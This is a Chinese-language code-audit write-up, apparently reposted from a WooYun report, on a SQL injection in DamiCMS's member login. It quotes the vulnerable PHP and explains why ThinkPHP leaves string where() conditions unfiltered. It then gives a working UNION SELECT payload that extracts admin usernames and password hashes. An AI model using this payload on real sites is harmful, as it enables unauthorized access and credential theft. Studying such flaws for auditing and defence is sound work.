0×01 前言
刚刚学习审计找了几个cms练手….
http://wooyun.org/bugs/wooyun-2014-081387
0×02漏洞详情
一)注入
1.挖洞前奏
Damicms搭建在本地以后,对cms/dami/Core/Lib/Think/Db/Db.class.php进行修改,将sq语句var_dump处理。[常用技巧]
然后就进行黑盒测试。搜索点,以及admin登入点输入单引号就会给过滤了。。。
看到有注册功能,发现登入点居然没有过滤单引号。。。
2.漏洞原理
于是苦逼看代码,发现thinkphp 看不懂 – –
去学习了一下回来了。。。。
http://blog.wils0n.cn/?id=14
发现登入点在: dami/Web/Lib/Action/MemberAction.class.php
这控制器里面
发现问题代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
$username = htmlspecialchars($_REQUEST[‘username’]);
$userpwd = $_REQUEST[‘userpwd’];
if($username==” || $userpwd==”){$this->error(‘请输入用户名和密码?’);exit();}
$info = M(‘member’)->where(“username=’{$username}’ and is_lock=0″)->find();
if(!$info){$this->error(‘用户不存在或已经禁止登陆!’);}
else
{
if($info[‘userpwd’] != md5($userpwd)){
$this->error(‘密码错误,请重新登录!’);
}else{
$_SESSION[‘dami_uid’] = $info[‘id’];
$_SESSION[‘dami_username’] = $info[‘username’];
if(!empty($_REQUEST[‘lasturl’])){
$this->assign(‘jumpUrl’,urldecode(htmlspecialchars($_REQUEST[‘lasturl’])));
}
else{
$this->assign(‘jumpUrl’,U(‘Member/main’));
}
$this->success(‘登录成功~’);
}}</font></font>
|
发现username没有过滤就放进去了……我想为什么thinkphp不过滤呢?测试其它的点都够了了。最后发现了。
Thinkphp的where查看如果只对字符型的,他是不会过滤的 = =……他过滤数组进去的和对象进去的对象。。。。。。。。。
程序员过分信赖thinkphp的过滤,导致漏洞发生……
3.payload
由于是登入口注入没有办法显示……想了许久给出这个办法:
也就是登入时候用户名:
1
|
-1‘ union select 1,(select concat(id,0×23,username,0×23,password) from dami_admin),’c4ca4238a0b923820dcc509a6f75849b‘,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
|
密码是1
登入进去看见用户名就是注入出的东西了。
后来厂商说测试不成功….我估计是gpc=on吧
[via@wilson 90sec]
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号